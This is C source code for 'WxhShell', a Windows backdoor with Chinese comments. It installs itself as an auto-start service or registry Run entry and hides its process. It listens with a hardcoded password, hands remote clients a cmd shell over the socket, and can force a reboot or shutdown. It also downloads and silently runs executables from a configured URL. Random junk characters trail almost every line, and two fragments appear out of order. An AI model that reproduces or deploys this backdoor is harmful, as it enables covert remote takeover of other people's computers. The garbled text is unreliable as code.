    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +C(/.X Kz%  
    else { f>+:UGmP  
    closesocket(wsh); oz?6$oE(bt  
    ExitThread(0); M+\LH  
    } jF%l\$)/  
    break; @xAfD{}f!  
    } "cX*GTNi8  
  // 获取shell V, e  
  case 's': { p:qj.ukw  
    CmdShell(wsh); ^ `Y1   
    closesocket(wsh); 9Dx9alJR  
    ExitThread(0); }!Xj{Eoc  
    break; xW'(]Z7_  
  } +tFl  
  // 退出 4";[Xr{pW  
  case 'x': { ,:/3'L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Yl:1rz  
    CloseIt(wsh); AlT04H   
    break; rxAb]~MMp  
    } n5 jzVv  
  // 离开 y :8Oc?  
  case 'q': { z,=k F I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .JL?RH2@8  
    closesocket(wsh); RLbxNn  
    WSACleanup(); $.r:  
    exit(1); .cm$*>LW:x  
    break; #3Jn_Y%P.  
        } 4O3-PU>N  
  } gR) )K)  
  } 6\?< :Qto  
Kg;1%J>ee  
  // 提示信息 . vQCX1V(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZfN%JJOz(  
} SgPvQ'\  
  } EXYr_$gRs  
W%cJ#R[o  
  return; g"L$}#iTsl  
} fRd^@@,[  
v/WvT!6V`  
// shell模块句柄 D.R 7#^.  
int CmdShell(SOCKET sock) E 14Dq#L  
{ ~uz4  
STARTUPINFO si; 2:l8RH!Y  
ZeroMemory(&si,sizeof(si)); K ZSvT{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [!#<nY/C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GFBku^pi  
PROCESS_INFORMATION ProcessInfo; Q#rj>+?  
char cmdline[]="cmd"; !5K9L(gqb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9;u&,R  
  return 0; }e*OprF  
} X,h"%S<c#H  
KPSHBv-#  
// 自身启动模式 ];1Mg  
int StartFromService(void) m`Ver:{  
{ 8z h{?0  
typedef struct ri k0F  
{ $Y5m"wySZ  
  DWORD ExitStatus; 0? QTi(  
  DWORD PebBaseAddress; nB1[OB{  
  DWORD AffinityMask; ,P9q[  
  DWORD BasePriority; \P|PAU@,  
  ULONG UniqueProcessId; G\1\L*+0  
  ULONG InheritedFromUniqueProcessId; B#K{Y$!v  
}   PROCESS_BASIC_INFORMATION; qKg*/)sD(  
5L4{8X0X8  
PROCNTQSIP NtQueryInformationProcess; 3KW4 ]qo~  
gK8{=A0c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zn'F9rWx>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F"<TV&xf  
&{c.JDO  
  HANDLE             hProcess; hf~'EdU  
  PROCESS_BASIC_INFORMATION pbi; GF-\WD  
G&HCOR!h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8=U0\<wT  
  if(NULL == hInst ) return 0; TZk.?@s5  
6eh\-+=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bqd'2HQd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :_FnQhzg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %`[Oz[V  
KK%R3{  
  if (!NtQueryInformationProcess) return 0; ;L458fYs  
T!*lTzNHm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6RLYpQ$+  
  if(!hProcess) return 0; S3iXG @  
~S,R`wo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kgV_*0^  
eJ JD'Z  
  CloseHandle(hProcess); rv\m0*\<  
N1 }#6YNw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;5bzXW#U  
if(hProcess==NULL) return 0; $ &Ntdn  
fvDt_g9oI  
HMODULE hMod; pp#xN/V#a  
char procName[255]; ~<?+(V^D  
unsigned long cbNeeded; vO#=]J8`  
D!- 78h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dC7YVs_,#  
$-}a<UFE;  
  CloseHandle(hProcess); .W#-Cl&n8  
Oist>A$Z  
if(strstr(procName,"services")) return 1; // 以服务启动 S}Q/CT?au  
VM1`:1Z:$  
  return 0; // 注册表启动 e bSG|F  
}  TM1isZ  
M6 W {mek  
// 主模块 \L"Vx9xT  
int StartWxhshell(LPSTR lpCmdLine) +$-@8,F>  
{ o& GS;{Rs  
  SOCKET wsl; 2+7r Lf`l  
BOOL val=TRUE; em+dQ15  
  int port=0; N<|_tC+ct  
  struct sockaddr_in door; G98P<cyD  
wsnR$FhQ`  
  if(wscfg.ws_autoins) Install(); aeQvIob@  
h2SVDKj  
port=atoi(lpCmdLine); Y%FQ]Q=+  
78}QaE  
if(port<=0) port=wscfg.ws_port; ZPieL&uV`  
zF9SZ#{a  
  WSADATA data; 4' ym vR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L"|~,SVF  
' DZYN {}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xpWx6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X2? ^t]-N  
  door.sin_family = AF_INET; ZH:-.2*cj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mUmU_L u8  
  door.sin_port = htons(port); *v}8n95*2  
x +=zG4Hm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4;]<#u  
closesocket(wsl); 1VlRdDg  
return 1; 4$);x/ a  
} 7hs1S|  
J|9kWjOf+i  
  if(listen(wsl,2) == INVALID_SOCKET) { Uq:WW1=kh  
closesocket(wsl); G% |$3  
return 1; eDh]uKg  
} IMKyFp]h-  
  Wxhshell(wsl); xpJ6M<O{8  
  WSACleanup(); ZPktZ  
6`>WO_<z  
return 0; o7/S'Haxc]  
E<j}"W$a  
} ;"}yVV/4  
>tUi ;!cQ  
// 以NT服务方式启动 F3-<F_4.w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \(ygdZ{R  
{ S_E-H.d"  
DWORD   status = 0; 0Jz5i4B  
  DWORD   specificError = 0xfffffff; *Kpk1  
KW* 2'C&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {`FkiB` i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SXYH#p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yqEX0|V%  
  serviceStatus.dwWin32ExitCode     = 0; X"4 :#s  
  serviceStatus.dwServiceSpecificExitCode = 0; B-oQ 9[~  
  serviceStatus.dwCheckPoint       = 0; S>-x<'Os  
  serviceStatus.dwWaitHint       = 0; i `m&X6)\j  
{XHAQ9'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7# ~v<M6  
  if (hServiceStatusHandle==0) return; 0rt@4"~~w  
7$;#-l  
status = GetLastError(); y$ L@!r/s  
  if (status!=NO_ERROR) k<.$7Pl3U  
{ S}O>@ %  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [~3[Tu( C  
    serviceStatus.dwCheckPoint       = 0; Fgx{ s%&-  
    serviceStatus.dwWaitHint       = 0; uPVM>xf>w  
    serviceStatus.dwWin32ExitCode     = status; n~1F[ *  
    serviceStatus.dwServiceSpecificExitCode = specificError; R cZg/{[{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -B`Nkc  
    return; scf.> K2  
  } kLsp0% 2  
1V\tKDM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )\S3Q  
  serviceStatus.dwCheckPoint       = 0; o!]muO*Rm  
  serviceStatus.dwWaitHint       = 0; QKW\z aG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5r&bk`  
} }Y}f7 3-|  
}McqoZ%F  
// 处理NT服务事件,比如:启动、停止 : 3J0Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;6 ?a8t@  
{ @q98ac*{  
switch(fdwControl) 9nM_LV  
{ /|<Pn!}J  
case SERVICE_CONTROL_STOP: ,Wv@D"4?  
  serviceStatus.dwWin32ExitCode = 0; |/qwR~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ?z hw0  
  serviceStatus.dwCheckPoint   = 0; `fnU p-  
  serviceStatus.dwWaitHint     = 0; {\1:2UKkr  
  { 1^f7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `"(FWK=8)"  
  } l}bAwJ?  
  return; SmpYH@  
case SERVICE_CONTROL_PAUSE: Z<wJ!|f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2)~`.CD?L  
  break; M_I.Y1|  
case SERVICE_CONTROL_CONTINUE: *1H8 &  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ulf'gD4e  
  break; `D%U5Jb  
case SERVICE_CONTROL_INTERROGATE: 3`JLb]6  
  break; m4 k:uk7N  
}; 0N|l1Sn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x%v[(*F#y  
} e3 #0r  
%ER"Udh  
// 标准应用程序主函数 a2!U9->!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z4qc)- {L  
{ URd0|?t9^L  
H;h$k]T  
// 获取操作系统版本 oe'f?IY  
OsIsNt=GetOsVer(); bu?4$O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L">\c5ca  
rD\)ndPv  
  // 从命令行安装 fT2F$U  
  if(strpbrk(lpCmdLine,"iI")) Install(); \,AE5hnO  
xekU2u}WE  
  // 下载执行文件 jIL+^{K<  
if(wscfg.ws_downexe) { &KYPi'C9!z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (# c|San  
  WinExec(wscfg.ws_filenam,SW_HIDE); &G|^{!p/G  
} x5(6U>-Y  
Y&XO:jB  
if(!OsIsNt) { 0h=}BCb+i  
// 如果时win9x,隐藏进程并且设置为注册表启动 WYUel4Z  
HideProc(); (GW"iL#.  
StartWxhshell(lpCmdLine); `<Q[$z  
} kl~)<,/@  
else UkTq0-N;2  
  if(StartFromService()) Mp?Gi7o=  
  // 以服务方式启动 :MP*Xy\7&J  
  StartServiceCtrlDispatcher(DispatchTable); w+wg)$i  
else 8nu@6)#  
  // 普通方式启动 +a'LdEp  
  StartWxhshell(lpCmdLine); Ol sX  
O#do\:(b  
return 0; [  *~2Ts  
} 45,):U5  
sTxgU !_  
qs%UJ0tR  
Yyr qO^9m  
=========================================== k-N}tk/5  
y;if+  
IAHQT < ]  
Hl#?#A5  
T,oZaJ<  
*mJ\Tzc)  
" 64L;np>  
f<{f/lU@  
#include <stdio.h> 2oF1do;  
#include <string.h> Dr)jB*yK  
#include <windows.h> .OpG2P  
#include <winsock2.h> .6LlkM6[g  
#include <winsvc.h> _-T^YeQ/  
#include <urlmon.h> bzXeG;c<7  
`h'7X(  
#pragma comment (lib, "Ws2_32.lib") ~>#?.f  
#pragma comment (lib, "urlmon.lib") nWes,K6T  
iYf)FPET  
#define MAX_USER   100 // 最大客户端连接数 8og8;#mnyr  
#define BUF_SOCK   200 // sock buffer q@^^jlHP  
#define KEY_BUFF   255 // 输入 buffer !,^y!+,Qy  
x*sDp3f[*  
#define REBOOT     0   // 重启 <N:)Xf9`  
#define SHUTDOWN   1   // 关机 S,s#D9NU  
M2$Hb_S{  
#define DEF_PORT   5000 // 监听端口 y9N6!M|'y  
[}=a6Q>)  
#define REG_LEN     16   // 注册表键长度 DbSR(:  
#define SVC_LEN     80   // NT服务名长度 VRZqY7j}g  
95E #  
// 从dll定义API R/xT.EQ(N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); js9^~:Tw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rb*0YCi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wmA TV/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jLA)Y [h  
8 (ot<3(D  
// wxhshell配置信息 6M ;lD5(>  
struct WSCFG { ?t/G@  
  int ws_port;         // 监听端口 `TYC]9  
  char ws_passstr[REG_LEN]; // 口令 1bFGoLAEFl  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?iZM.$![  
  char ws_regname[REG_LEN]; // 注册表键名 l;r A}?,.^  
  char ws_svcname[REG_LEN]; // 服务名 ^?2zoS#iw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i6f42]Jy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4H^ACw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2^=8~I!n&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ucJ}KMz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NM9,AG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ify48]  
}[=)sb_  
}; ULhXyItL  
BIS.,  
// default Wxhshell configuration Fi'ZId  
struct WSCFG wscfg={DEF_PORT, C+t0Zen  
    "xuhuanlingzhe", O')=]6CQ*  
    1, h;#046-7  
    "Wxhshell", 5UJ ?1"J  
    "Wxhshell", zBK"k]rz  
            "WxhShell Service", }Q*J!OH  
    "Wrsky Windows CmdShell Service", 6<9}>Wkf  
    "Please Input Your Password: ", lcLDCt ?  
  1, +_{cq@c  
  "http://www.wrsky.com/wxhshell.exe", DgK*> A  
  "Wxhshell.exe" V'gJtF  
    }; mK/E1a)AG3  
&uF~t |!c  
// 消息定义模块 pN)x,<M)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0y t36Du  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =1k%T{>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #jzF6j%G  
char *msg_ws_ext="\n\rExit."; en/h`h]h  
char *msg_ws_end="\n\rQuit."; HI{h>g T  
char *msg_ws_boot="\n\rReboot..."; 6"+9$nFyW  
char *msg_ws_poff="\n\rShutdown..."; 9Zj3"v+b  
char *msg_ws_down="\n\rSave to "; IN@o9pUjV  
7W*a+^   
char *msg_ws_err="\n\rErr!"; .vctuy&  
char *msg_ws_ok="\n\rOK!"; .zl[nx[9"D  
*];QPi~  
char ExeFile[MAX_PATH]; ,(Ol]W}  
int nUser = 0; pg!MtuC}  
HANDLE handles[MAX_USER]; |x.^rx`  
int OsIsNt; oc]:Ty  
ul~6zBKO   
SERVICE_STATUS       serviceStatus; =|``d-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d=meh4Y  
M>|ZBEK  
// 函数声明 4F9!3[}qF  
int Install(void); D/Ok  
int Uninstall(void); _3D9>8tzE7  
int DownloadFile(char *sURL, SOCKET wsh); VKZP\]$XG  
int Boot(int flag); @C!&lrf3  
void HideProc(void); 3[y$$qXI  
int GetOsVer(void); jl>TZ)4}V  
int Wxhshell(SOCKET wsl); J}[[tl  
void TalkWithClient(void *cs); maDWV&Db  
int CmdShell(SOCKET sock); 9r+'DX?>  
int StartFromService(void); Ww60-d}}Q  
int StartWxhshell(LPSTR lpCmdLine); kX+9U"` C  
:*&c'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d/jP2uu A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `A%WCd60Tc  
vb?.`B_>&  
// 数据结构和表定义 9od*N$  
SERVICE_TABLE_ENTRY DispatchTable[] = ~c<8;,cjYR  
{ S5u$I  
{wscfg.ws_svcname, NTServiceMain}, cfilH"EK  
{NULL, NULL} :hs~;vn)  
}; }eW<P079  
Bm,Vu 1]t  
// 自我安装 $OdBuJA  
int Install(void) 1<1+nGO  
{ GS=E6  
  char svExeFile[MAX_PATH]; q?Csm\Y  
  HKEY key; fz`)CWo:  
  strcpy(svExeFile,ExeFile); d5>&, {o7N  
1KrJS(.  
// 如果是win9x系统,修改注册表设为自启动 akt7rnt?i  
if(!OsIsNt) { bEj}J_#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \?R#ZxP@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P`{$7ST'Hh  
  RegCloseKey(key); 14 ,t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J9!/C#Fm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $/C1s"C@O  
  RegCloseKey(key); yU&;\'  
  return 0; - z+,j(@  
    } >V?0#f45@  
  } h'};spv  
} B~ i  
else { ]vB\yQE  
+a^gC  
// 如果是NT以上系统,安装为系统服务 y]+5Y.Cw$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k9OGnCW\  
if (schSCManager!=0) vm[*+&\2  
{ 7@>/O)>(AS  
  SC_HANDLE schService = CreateService ]b; m~|9  
  ( xx>h J!  
  schSCManager, #"KC29!Yj  
  wscfg.ws_svcname, !hZ: \&V  
  wscfg.ws_svcdisp, \Z3K ~  
  SERVICE_ALL_ACCESS, ObEz0Rj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mi<Q3;m  
  SERVICE_AUTO_START, X*@ tp,t  
  SERVICE_ERROR_NORMAL, `j@1]%&z  
  svExeFile, 6 h#U,G  
  NULL, {eI'0==  
  NULL, t4#gW$+^?H  
  NULL, r!dWI  
  NULL, QK+,63@D\=  
  NULL KzO"$+M  
  ); YwET.(oo  
  if (schService!=0) H}5WglV.  
  { vE'{?C=EM  
  CloseServiceHandle(schService); M Zz21H  
  CloseServiceHandle(schSCManager); :=;{w~D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }R#W<4:  
  strcat(svExeFile,wscfg.ws_svcname); Ve|:k5z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f0 sGE5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;j/$%lC  
  RegCloseKey(key); $Y6\m`  
  return 0; \H:T)EVy  
    } J??AU0 vh  
  } $ch`.$wx  
  CloseServiceHandle(schSCManager); hI!BX};+}  
} eNK +)<PK(  
} )h]#:,pm  
=?.oH|&\h  
return 1; uStAZ ~b\  
} Dho6N]86r  
]$Z:^" JS3  
// 自我卸载 s2G9}i{  
int Uninstall(void) N$]er'`  
{ \\<=J[R.M  
  HKEY key; Na/Y1RW  
iOURS  
if(!OsIsNt) { w'(/dr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xj/z),  
  RegDeleteValue(key,wscfg.ws_regname); *"8Ls0!  
  RegCloseKey(key); n_km]~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? /z[Jx.  
  RegDeleteValue(key,wscfg.ws_regname); vHpw?(]  
  RegCloseKey(key); (?\+  
  return 0; `T[@-   
  } R\3a Sx L  
} D;V[9E=g/  
} }psRgF  
else { e9KD mX_  
YP_L~zZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $!.>)n  
if (schSCManager!=0) '^_u5Y]  
{ 7:u+cv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hOAZvrfQ4  
  if (schService!=0) /VT/KT{  
  { ~\CS%thX  
  if(DeleteService(schService)!=0) { N~O3KG q  
  CloseServiceHandle(schService); 4kM/`g6?,q  
  CloseServiceHandle(schSCManager); !B%em%Tv  
  return 0; 2r!ltG3}  
  } Y)X7*iTi'j  
  CloseServiceHandle(schService); E@ U]k$M  
  } bJ!\eI%ld  
  CloseServiceHandle(schSCManager); JyMk @Y  
} 6^] |  
} <@-O 06  
8O,\8:I#  
return 1; Yao}Xo9}  
} f?sm~PwC-  
|^1U<'oM#  
// 从指定url下载文件 dyWp'vCQs\  
int DownloadFile(char *sURL, SOCKET wsh) (CxA5u1|l  
{ MMFwT(l<1  
  HRESULT hr; N2}SR|.  
char seps[]= "/"; H/O.h@E4X  
char *token; Kk8} m;  
char *file; ~U&NY7.@  
char myURL[MAX_PATH]; AYA{_^#+3  
char myFILE[MAX_PATH]; ,D+ydr  
[#Y L_*p  
strcpy(myURL,sURL); H>EM3cFU  
  token=strtok(myURL,seps); TBBnsj6e  
  while(token!=NULL) SU~a()"  
  { INi$-Y+  
    file=token;  lln"c  
  token=strtok(NULL,seps); z5fE<=<X_W  
  } njy2pDC@  
:jl*Y-mM  
GetCurrentDirectory(MAX_PATH,myFILE); C:J;'[,S  
strcat(myFILE, "\\"); J2W-l{`r<  
strcat(myFILE, file); ~:z.Xu5m  
  send(wsh,myFILE,strlen(myFILE),0); Pqomi!1  
send(wsh,"...",3,0); p,fV .5q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `Y?VQ~ci>  
  if(hr==S_OK) K.)!qkW-%S  
return 0; >S +}  
else P9cx&Hk9  
return 1; 2^WJ1: A  
d+JK")$9C  
} o]e,5]  
'c s(gc 0  
// 系统电源模块 j?.F-ar  
int Boot(int flag) F<* /J]  
{ QO'Hyf t  
  HANDLE hToken; :X;G]B .  
  TOKEN_PRIVILEGES tkp; Kq")\Ha,f  
X( N~tE  
  if(OsIsNt) { i<Vc~ !pT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m@2E ~m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \cIN]=#  
    tkp.PrivilegeCount = 1; gpV4qDXV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EjR(AqZY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Uk?G1]$mL  
if(flag==REBOOT) { ;l@94)@0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uks75W!}U  
  return 0; h:%,>I%{  
} d/7fJ8y8  
else { > {*cW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cfLF@LW!])  
  return 0; aDbqh~7  
} i 9) G t  
  } 3B&A)&pEO  
  else { Xul`>8y|  
if(flag==REBOOT) { c?A$Y?|9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v"bWVc~H  
  return 0; T`bYidA  
} ,"%C.9a  
else { &GP(yj]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /s\ m V  
  return 0; }T?X6LA$I8  
} }Ce9R2  
} 7OV^>"S  
YJJ1N/Z1  
return 1; AjVC{\Ik  
} "Oxr}^% i  
hLO)-ueb  
// win9x进程隐藏模块 yE$PLM  
void HideProc(void) %6m/ve  
{ uwNJM  
|#TU"$;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @?,x3\N-  
  if ( hKernel != NULL ) 8 1,N92T5  
  { ZoG@"vr2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sl'4AK~\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hg)Xr5>  
    FreeLibrary(hKernel); 9z7_D_yN2  
  } >ED;_L*_o  
5 D|#l*V  
return; DSrU7#  
} Q dj(D\.  
7~h3B<  
// 获取操作系统版本 h[ .  
int GetOsVer(void) \((iR>^|  
{ *[Hp&6f  
  OSVERSIONINFO winfo; m%HT)`>bg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p*g Fr hm  
  GetVersionEx(&winfo); 02J/=AC5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S,&LH-ps   
  return 1; ;wv[';J  
  else )@g[aRFa  
  return 0; &`^(dO9  
} =^9h z3 j  
BlVHP8/b  
// 客户端句柄模块 V%,,GmiU]  
int Wxhshell(SOCKET wsl) /Ew()>Y  
{ {?qfH>oFA  
  SOCKET wsh; }a]`"_i;[  
  struct sockaddr_in client; |Xso}Y{  
  DWORD myID; QiPq N$n  
_}l(i1o,/  
  while(nUser<MAX_USER) |+cz\+  
{ t~+M>Fjm?d  
  int nSize=sizeof(client); Ua1&eC Zi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'P.y?  
  if(wsh==INVALID_SOCKET) return 1; S <mZs;  
,1 -%C)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y+-yIMt$r  
if(handles[nUser]==0) *lfjsrPu  
  closesocket(wsh); S^QEctXU  
else q\fbrv%I4  
  nUser++; JX59n%$@  
  } K9<8FSn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a5a ;Fp  
r:QLU]   
  return 0; ;z:Rj}l  
}  ti5fsc  
aBA oSn  
// 关闭 socket 8F sQLeOE  
void CloseIt(SOCKET wsh) zEQ]5>mG  
{ ?^&ih:"  
closesocket(wsh); Ac_P^  
nUser--; IFLphm5  
ExitThread(0); ql?w6qFs]  
} |_53So: g  
)~'UJPK  
// 客户端请求句柄 uLdHE5vr  
void TalkWithClient(void *cs)  5wK==hZ  
{ vl (``5{  
1g;2e##)  
  SOCKET wsh=(SOCKET)cs; }8O9WS  
  char pwd[SVC_LEN]; }&v}S6T  
  char cmd[KEY_BUFF]; L$ T2 bul  
char chr[1]; ,EQ0""G!  
int i,j; rZUTBLZ`j  
&9e  
  while (nUser < MAX_USER) { v`h>5#_[  
x?i wtZ@  
if(wscfg.ws_passstr) { %JeND XbI4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m(f`=+lqI`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); frcAXh9  
  //ZeroMemory(pwd,KEY_BUFF); bJ2-lU% ;2  
      i=0; ]OpGD5jZ  
  while(i<SVC_LEN) { KloX.y)q  
wSR|uh  
  // 设置超时 49 FP&NgK  
  fd_set FdRead; XDK Me}  
  struct timeval TimeOut; { 4+/0\  
  FD_ZERO(&FdRead); :!i=g+e]  
  FD_SET(wsh,&FdRead); cS.@02~f"  
  TimeOut.tv_sec=8; 5<Kt"5Z%7  
  TimeOut.tv_usec=0; 1d<?K7%^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tB;PGk_6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^gVQ6=z%  
XfcYcN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AbNr]w&pXC  
  pwd=chr[0]; -x ?Z2EA!  
  if(chr[0]==0xd || chr[0]==0xa) { &v:zS$m>  
  pwd=0; ! fk W;|  
  break; <Sot{_"li  
  } CI*JedO]  
  i++; 0Gu77&  
    } A rE~6X  
EW$drY@  
  // 如果是非法用户,关闭 socket lBP?7`U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SFg4}*"C/  
} imOIO[<;  
/  Xnq0hN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); or-k~1D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $HwF:L)*  
]ZLF=  
while(1) { 60{G 4b)  
5Sl"1HL  
  ZeroMemory(cmd,KEY_BUFF); -zECxHj x  
CH7a4qL`  
      // 自动支持客户端 telnet标准   W=Syo&;F8  
  j=0; $NCvF'  
  while(j<KEY_BUFF) { /l `zZ>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -w+.'  
  cmd[j]=chr[0]; J>X@g;  
  if(chr[0]==0xa || chr[0]==0xd) { 0LW3VfvToN  
  cmd[j]=0; u?>},M/  
  break; 8j Cho  
  } 9DBX.|  
  j++; Y*xgY*K  
    } ,DEq"VW_  
.BxI~d^  
  // 下载文件 b GSj?t9/  
  if(strstr(cmd,"http://")) { wPI!i K@Ro  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); **P P  
  if(DownloadFile(cmd,wsh)) 14&|(M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 n[(\f:  
  else 2dz)rjd O,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ys=/mh  
  } /Ey%aA4v  
  else { =U84*HAv  
~{DJ,(N"n  
